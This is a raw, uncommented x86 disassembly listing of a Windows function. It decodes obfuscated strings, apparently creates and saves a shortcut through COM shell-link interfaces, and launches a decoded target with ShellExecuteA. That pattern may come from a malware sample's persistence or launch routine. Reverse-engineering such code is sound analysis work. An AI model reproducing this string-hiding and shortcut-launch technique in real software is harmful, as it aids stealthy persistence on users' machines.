lea ecx, [ebp - 0x13f]
mov dword [ebp - 0x13f], 0x878586c7
mov word [ebp - 0x13b], 0x100
call fcn.0040b830
mov esi, eax
mov word [ebp - 0xba], 0xb5
lea eax, [ebp - 0xa8]
mov byte [ebp - 0xb8], 1
push eax
lea ecx, [ebp - 0xba]
call fcn.0040a3c0
mov edx, eax
lea ecx, [ebp - 0x530]
call fcn.00469870
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x548]
call fcn.00469810
add esp, 4
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x7f
call fcn.00465870
lea ecx, [ebp - 0x548]
call fcn.00402660
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x7d
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.0040beb0
add esp, 0x18
test al, al
jne 0x447cde
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x447cde
lea eax, [ebp - 0x5c]
push eax
push 0x50c4e0
push 1
push 0
push 0x50c510
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x447cd8
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x248]
mov eax, dword [eax]
mov esi, dword [eax + 0x50]
call fcn.004027a0
push eax
push dword [ebp - 0x5c]
call esi
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0xa8]
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
call fcn.004027a0
push eax
push dword [ebp - 0x5c]
call esi
mov ecx, dword [ebp - 0x5c]
lea edx, [ebp - 0x258]
push edx
push 0x50c4f0
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x447ccf
push 0x208
lea eax, [ebp - 0x9a8]
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x9a8]
lea ecx, [ebp - 0x40]
push 0x104
push eax
push 0xffffffffffffffff
call fcn.004027a0
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x258]
lea edx, [ebp - 0x9a8]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x258]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x40]
call fcn.00402660
lea ecx, [ebp - 0x248]
call fcn.00402660
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 0x4e
call fcn.00402660
lea ecx, [ebp - 0x4c4]
call fcn.004027a0
lea ecx, [ebp - 0x133]
mov dword [ebp - 0x133], 0x828e9a86
mov esi, eax
mov word [ebp - 0x12f], 0x100
call fcn.0040b830
push 1
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea eax, [ebp - 0x580]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.0041f4d0
add esp, 0x18
lea ecx, [ebp - 0x454]
call fcn.00402660
lea ecx, [ebp - 0xa8]
call fcn.00402660
lea ecx, [ebp - 0x2b8]
call fcn.00402660
lea ecx, [ebp - 0x4c4]
call fcn.00402660
lea ecx, [ebp - 0x36c]
call fcn.00467c60
lea ecx, [ebp - 0x270]
call fcn.00402660
lea ecx, [ebp - 0x2fc]
call fcn.00467c60
lea ecx, [ebp - 0x2c4]
call fcn.00467c60
lea ecx, [ebp - 0x568]
call fcn.00402660
lea ecx, [ebp - 0x43c]
call fcn.00402660
lea ecx, [ebp - 0x620]
call fcn.00402660
lea ecx, [ebp - 0x580]
mov byte [ebp - 4], 7
call fcn.00402660
lea ecx, [ebp - 0x47c]
call fcn.00462760
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x47c]
call fcn.00466f90
mov ebx, dword [ebp - 0xdc]
test al, al
je 0x445370
lea ecx, [ebp + 8]
call fcn.00402660
lea ecx, [ebp + 0x20]
call fcn.00463500
lea ecx, [ebp + 0x30]
call fcn.00463500
lea ecx, [ebp + 0x40]
call fcn.00463500
lea ecx, [ebp + 0x50]
call fcn.00463500
lea ecx, [ebp + 0x60]
call fcn.00463500
lea ecx, [ebp + 0x70]
call fcn.00463500
lea ecx, [ebp + 0x80]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret